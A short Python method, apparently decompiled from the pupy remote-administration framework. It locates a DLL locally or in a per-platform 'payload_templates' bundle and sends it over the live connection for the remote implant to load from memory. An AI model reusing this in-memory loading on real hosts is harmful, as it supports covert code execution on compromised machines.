'load some dll from memory like sqlite3.dll needed for some .pyd to work
Don\'t load pywintypes27.dll and pythoncom27.dll with this. Use load_package("pythoncom") instead'

def load_dll(self, path):

    name = os.path.basename(path)
    if (name in self.imported_dlls):
        return False
    buf = ''
    if (not os.path.exists(path)):
        path = None
        for packages_path in self.get_packages_path():
            packages_path = os.path.join(packages_path, name)
            if os.path.exists(packages_path):
                with open(packages_path, 'rb') as f:
                    buf = f.read()
                    break
    if ((not buf) and self.arch):
        arch_bundle = os.path.join(ROOT, 'payload_templates', (((self.platform + '-') + self.arch) + '.zip'))
        if os.path.exists(arch_bundle):
            with ZipFile(arch_bundle, 'r') as bundle:
                for info in bundle.infolist():
                    if (info.filename.endswith(('/' + name)) or (info.filename == name)):
                        buf = bundle.read(info.filename)
                        break
    if (not buf):
        raise ImportError("load_dll:    couldn't    find    {}".format(name))
    if (not self.conn.modules.pupy.load_dll(name, buf)):
        raise ImportError("load_dll:    couldn't    load    {}".format(name))
    self.imported_dlls[name] = True
    return True
